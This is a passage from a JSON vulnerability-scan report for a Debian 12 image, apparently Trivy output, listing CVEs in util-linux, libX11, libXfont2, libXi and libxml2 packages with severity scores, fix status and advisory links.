"https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libuuid1@2.38.1-5+deb12u3", "PkgName": "libuuid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libuuid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9e9dd0fdd8a2646" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c44a2a68199ff5a2f36928956b96aa7ec734e2ad2e56c2dcd5c9f615dc72cfc8", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-88806", "PkgID": "libx11-6@2:1.8.4-2+deb12u2", "PkgName": "libx11-6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libx11-6@1.8.4-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "1e35666400100143" }, "InstalledVersion": "2:1.8.4-2+deb12u2", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88806", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22e3b41516d9c670289cd80d67031b962276a51c33aa659b0cb42292d49cb657", "Title": "libX11: libX11: Heap-based buffer overflow via malicious X server", "Description": "A malicious X server could exploit a buffer overflow in libX11 before 1.8.14 during handling of XkbGetMap overflowing the key_sym_map.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91365", "https://access.redhat.com/security/cve/CVE-2026-88806", "https://bugzilla.redhat.com/2538514", "https://bugzilla.redhat.com/show_bug.cgi?id=2538514", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88806", "https://errata.almalinux.org/9/ALSA-2026-91365.html", "https://errata.rockylinux.org/RLSA-2026:91365", "https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/309", "https://linux.oracle.com/cve/CVE-2026-88806.html", "https://linux.oracle.com/errata/ELSA-2026-91366.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88806", "https://ubuntu.com/security/notices/USN-8913-1", "https://www.cve.org/CVERecord?id=CVE-2026-88806" ], "PublishedDate": "2026-09-21T14:17:22.273Z", "LastModifiedDate": "2026-09-22T19:40:05.87Z" }, { "VulnerabilityID": "CVE-2026-88806", "PkgID": "libx11-data@2:1.8.4-2+deb12u2", "PkgName": "libx11-data", "PkgIdentifier": { "PURL": "pkg:deb/debian/libx11-data@1.8.4-2%2Bdeb12u2?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "f827acf1217240fc" }, "InstalledVersion": "2:1.8.4-2+deb12u2", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88806", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:41080675c3217dec2ec1721b22924f390d664826042c3d31277632f505b22062", "Title": "libX11: libX11: Heap-based buffer overflow via malicious X server", "Description": "A malicious X server could exploit a buffer overflow in libX11 before 1.8.14 during handling of XkbGetMap overflowing the key_sym_map.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91365", "https://access.redhat.com/security/cve/CVE-2026-88806", "https://bugzilla.redhat.com/2538514", "https://bugzilla.redhat.com/show_bug.cgi?id=2538514", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88806", "https://errata.almalinux.org/9/ALSA-2026-91365.html", "https://errata.rockylinux.org/RLSA-2026:91365", "https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/309", "https://linux.oracle.com/cve/CVE-2026-88806.html", "https://linux.oracle.com/errata/ELSA-2026-91366.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88806", "https://ubuntu.com/security/notices/USN-8913-1", "https://www.cve.org/CVERecord?id=CVE-2026-88806" ], "PublishedDate": "2026-09-21T14:17:22.273Z", "LastModifiedDate": "2026-09-22T19:40:05.87Z" }, { "VulnerabilityID": "CVE-2026-88806", "PkgID": "libx11-xcb1@2:1.8.4-2+deb12u2", "PkgName": "libx11-xcb1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libx11-xcb1@1.8.4-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "23557bc8226ebca5" }, "InstalledVersion": "2:1.8.4-2+deb12u2", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-88806", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c04af1c8e57eadf994bc65e3aa1bcc03a90d209566c96ce007f74f9c3a500489", "Title": "libX11: libX11: Heap-based buffer overflow via malicious X server", "Description": "A malicious X server could exploit a buffer overflow in libX11 before 1.8.14 during handling of XkbGetMap overflowing the key_sym_map.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:91365", "https://access.redhat.com/security/cve/CVE-2026-88806", "https://bugzilla.redhat.com/2538514", "https://bugzilla.redhat.com/show_bug.cgi?id=2538514", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88806", "https://errata.almalinux.org/9/ALSA-2026-91365.html", "https://errata.rockylinux.org/RLSA-2026:91365", "https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/309", "https://linux.oracle.com/cve/CVE-2026-88806.html", "https://linux.oracle.com/errata/ELSA-2026-91366.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88806", "https://ubuntu.com/security/notices/USN-8913-1", "https://www.cve.org/CVERecord?id=CVE-2026-88806" ], "PublishedDate": "2026-09-21T14:17:22.273Z", "LastModifiedDate": "2026-09-22T19:40:05.87Z" }, { "VulnerabilityID": "CVE-2026-56001", "VendorIDs": [ "DLA-4678-1" ], "PkgID": "libxfont2@1:2.0.6-1", "PkgName": "libxfont2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxfont2@2.0.6-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "7ffc137623b397ff" }, "InstalledVersion": "1:2.0.6-1", "FixedVersion": "1:2.0.6-1+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56001", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4e683fbe2112dad0f5750558ffc19f07e9509359915c52025afd5c9d1aa03b94", "Title": "libXfont2: BitmapScaleBitmaps Integer Overflow Heap Buffer Overflow", "Description": "A heap buffer overflow in BitmapScaleBitmaps in libXfont2 before 2.0.8 due to an overflowing 32bit size could be used by attackers able to access the X Server to execute code within the X server cont", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47084", "https://access.redhat.com/security/cve/CVE-2026-56001", "https://bugzilla.redhat.com/2496640", "https://bugzilla.redhat.com/2496641", "https://bugzilla.redhat.com/show_bug.cgi?id=2496640", "https://bugzilla.redhat.com/show_bug.cgi?id=2496641", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56002", "https://errata.almalinux.org/9/ALSA-2026-47084.html", "https://errata.rockylinux.org/RLSA-2026:47084", "https://gitlab.freedesktop.org/xorg/lib/libxfont/-/commit/be0b08e2d354138d3222b4490e2a77c6ee42f778", "https://linux.oracle.com/cve/CVE-2026-56001.html", "https://linux.oracle.com/errata/ELSA-2026-51063.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56001", "https://ubuntu.com/security/notices/USN-8560-1", "https://www.cve.org/CVERecord?id=CVE-2026-56001", "https://www.openwall.com/lists/oss-security/2026/07/08/1" ], "PublishedDate": "2026-07-08T09:16:30.05Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-56002", "VendorIDs": [ "DLA-4678-1" ], "PkgID": "libxfont2@1:2.0.6-1", "PkgName": "libxfont2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxfont2@2.0.6-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "7ffc137623b397ff" }, "InstalledVersion": "1:2.0.6-1", "FixedVersion": "1:2.0.6-1+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5d4a815d97bfc4c68a8e2e43abac87ad1e7fa6c2918d546b31262f1ee00b932b", "Title": "libXfont2: PCF Font Parsing Heap Buffer Overflow", "Description": "A heap bufferflow in pcfReadFont() due to missing glyph bounds checking in libXfont2 before 2.0.8  allows attackers authenticated as X client to execute code within the X server.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47084", "https://access.redhat.com/security/cve/CVE-2026-56002", "https://bugzilla.redhat.com/2496640", "https://bugzilla.redhat.com/2496641", "https://bugzilla.redhat.com/show_bug.cgi?id=2496640", "https://bugzilla.redhat.com/show_bug.cgi?id=2496641", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56002", "https://errata.almalinux.org/9/ALSA-2026-47084.html", "https://errata.rockylinux.org/RLSA-2026:47084", "https://gitlab.freedesktop.org/xorg/lib/libxfont/-/commit/b4389e0b1d84a690b819bb27b1439968811a3674", "https://linux.oracle.com/cve/CVE-2026-56002.html", "https://linux.oracle.com/errata/ELSA-2026-51063.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56002", "https://ubuntu.com/security/notices/USN-8560-1", "https://www.cve.org/CVERecord?id=CVE-2026-56002", "https://www.openwall.com/lists/oss-security/2026/07/08/1" ], "PublishedDate": "2026-07-08T10:16:23.327Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-56003", "VendorIDs": [ "DLA-4678-1" ], "PkgID": "libxfont2@1:2.0.6-1", "PkgName": "libxfont2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxfont2@2.0.6-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "7ffc137623b397ff" }, "InstalledVersion": "1:2.0.6-1", "FixedVersion": "1:2.0.6-1+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56003", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8a98bbd73bb72dcd3edf7712de263133c4138de944a3c8a5d7881dba059b2b77", "Title": "libXfont2: libXfont2: arbitrary code execution via heap buffer overflow in ComputeScaledProperties", "Description": "A heap buffer overflow due to missing size checking in the property buffer when parsing PCF files in libXfont2 ComputeScaledProperties() before libXfont2 before 2.0.8 could be used by attackers using authenticated X clients to execute code within the X server.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47084", "https://access.redhat.com/errata/RHSA-2026:47103", "https://access.redhat.com/security/cve/CVE-2026-56003", "https://bugzilla.redhat.com/2496640", "https://bugzilla.redhat.com/2496641", "https://bugzilla.redhat.com/show_bug.cgi?id=2496640", "https://bugzilla.redhat.com/show_bug.cgi?id=2496641", "https://bugzilla.redhat.com/show_bug.cgi?id=2496642", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56003", "https://errata.almalinux.org/9/ALSA-2026-47084.html", "https://errata.rockylinux.org/RLSA-2026:47103", "https://gitlab.freedesktop.org/xorg/lib/libxfont/-/commit/dff957a5158da038a282a59a31fe736702732939", "https://linux.oracle.com/cve/CVE-2026-56003.html", "https://linux.oracle.com/errata/ELSA-2026-51063.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-56003", "https://ubuntu.com/security/notices/USN-8560-1", "https://www.cve.org/CVERecord?id=CVE-2026-56003", "https://www.openwall.com/lists/oss-security/2026/07/08/1" ], "PublishedDate": "2026-07-08T10:16:23.577Z", "LastModifiedDate": "2026-10-25T20:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-109089", "PkgID": "libxi6@2:1.8-1+b1", "PkgName": "libxi6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxi6@1.8-1%2Bb1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "313c9a24a13b6704" }, "InstalledVersion": "2:1.8-1+b1", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109089", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:50084194e9906b173e4cacc72b9164a62aeed6260848f74eb8ee3d8f587fae77", "Title": "libXi: libXi: Arbitrary code execution via DEVICE_RESOLUTION heap-based buffer overflow", "Description": "A buffer overflow when handling DEVICE_RESOLUTION in libXi before 1.8.4 could overflow a heap, triggered by a malicious X server.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93439", "https://access.redhat.com/security/cve/CVE-2026-109089", "https://bugzilla.redhat.com/show_bug.cgi?id=2562069", "https://bugzilla.redhat.com/show_bug.cgi?id=2562191", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-109089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-109090", "https://errata.almalinux.org/9/ALSA-2026-93439.html", "https://errata.rockylinux.org/RLSA-2026:93439", "https://gitlab.freedesktop.org/xorg/lib/libxi/-/commit/f7836d0a0", "https://linux.oracle.com/cve/CVE-2026-109089.html", "https://linux.oracle.com/errata/ELSA-2026-93441.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109089", "https://www.cve.org/CVERecord?id=CVE-2026-109089" ], "PublishedDate": "2026-10-27T17:16:57.81Z", "LastModifiedDate": "2026-11-04T21:17:47.61Z" }, { "VulnerabilityID": "CVE-2026-109090", "PkgID": "libxi6@2:1.8-1+b1", "PkgName": "libxi6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxi6@1.8-1%2Bb1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "313c9a24a13b6704" }, "InstalledVersion": "2:1.8-1+b1", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109090", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6563e7cf44046d1f9d85aed775af750d59ee4ab7c4073b32e7a0c63e8cc29ca7", "Title": "libXi: libXi: Arbitrary code execution via oversized DEVICE_ENABLE reply", "Description": "A malicious X server could cause a heap overflow by injecting a large DEVICE_ENABLE reply when processed by libXi before 1.8.4.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93439", "https://access.redhat.com/security/cve/CVE-2026-109090", "https://bugzilla.redhat.com/show_bug.cgi?id=2562069", "https://bugzilla.redhat.com/show_bug.cgi?id=2562191", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-109089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-109090", "https://errata.almalinux.org/9/ALSA-2026-93439.html", "https://errata.rockylinux.org/RLSA-2026:93439", "https://gitlab.freedesktop.org/xorg/lib/libxi/-/commit/4eb9f70b6", "https://linux.oracle.com/cve/CVE-2026-109090.html", "https://linux.oracle.com/errata/ELSA-2026-93441.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109090", "https://www.cve.org/CVERecord?id=CVE-2026-109090" ], "PublishedDate": "2026-10-27T17:16:57.93Z", "LastModifiedDate": "2026-11-04T21:17:47.743Z" }, { "VulnerabilityID": "CVE-2026-6653", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6653", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ea9f5f7ebacf0dec9da358143cac1da60cf291c42cecab5d0097dda126b70b5", "Title": "libxml2: mingw-libxml2: libxml2: Denial of Service via crafted XML input due to use-after-free", "Description": "Use After Free in libxml2's xmlParseInternalSubset from GNOME libxml2 version 2.9.11 to 2.11.0 allows a remote attacker to cause a denial-of-service via maliciously crafted XML input with improper entity resolution handling.", "Severity": "CRITICAL", "CweIDs": [ "CWE-416", "CWE-611" ], "VendorSeverity": { "alma": 2, "amazon": 2, "julia": 3, "nvd": 4, "oracle-oval": 2, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:P", "V3Score": 9.8, "V40Score": 7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:61247", "https://access.redhat.com/security/cve/CVE-2026-6653", "https://bugs.launchpad.net/ubuntu/+source/libxml2/+bug/2141260", "https://bugzilla.redhat.com/2491354", "https://bugzilla.redhat.com/2494191", "https://bugzilla.redhat.com/show_bug.cgi?id=2491354", "https://bugzilla.redhat.com/show_bug.cgi?id=2494191", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6653", "https://errata.almalinux.org/9/ALSA-2026-61247.html", "https://errata.rockylinux.org/RLSA-2026:61247", "https://gitlab.gnome.org/GNOME/libxml2/-/work_items/1058", "https://linux.oracle.com/cve/CVE-2026-6653.html", "https://linux.oracle.com/errata/ELSA-2026-69655.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6653", "https://ubuntu.com/security/notices/USN-8456-1", "https://www.cve.org/CVERecord?id=CVE-2026-6653" ], "PublishedDate": "2026-06-22T14:17:51.113Z", "LastModifiedDate": "2026-10-25T23:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-74860", "PkgID": "libxml2@2.9.14+dfsg-1.3~deb12u5", "PkgName": "libxml2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libxml2@2.9.14%2Bdfsg-1.3~deb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "3e7015dac034276d" }, "InstalledVersion": "2.9.14+dfsg-1.3~deb12u5", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74860", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd83614e2c96efeb2c06b71099452aab6d82c31c59dfbc9567c1da5f5a842d58", "Title": "libxml2: double-free/UAF in libxml2 Python bindings", "Description": "A flaw was found in libxml2 with Python bindings 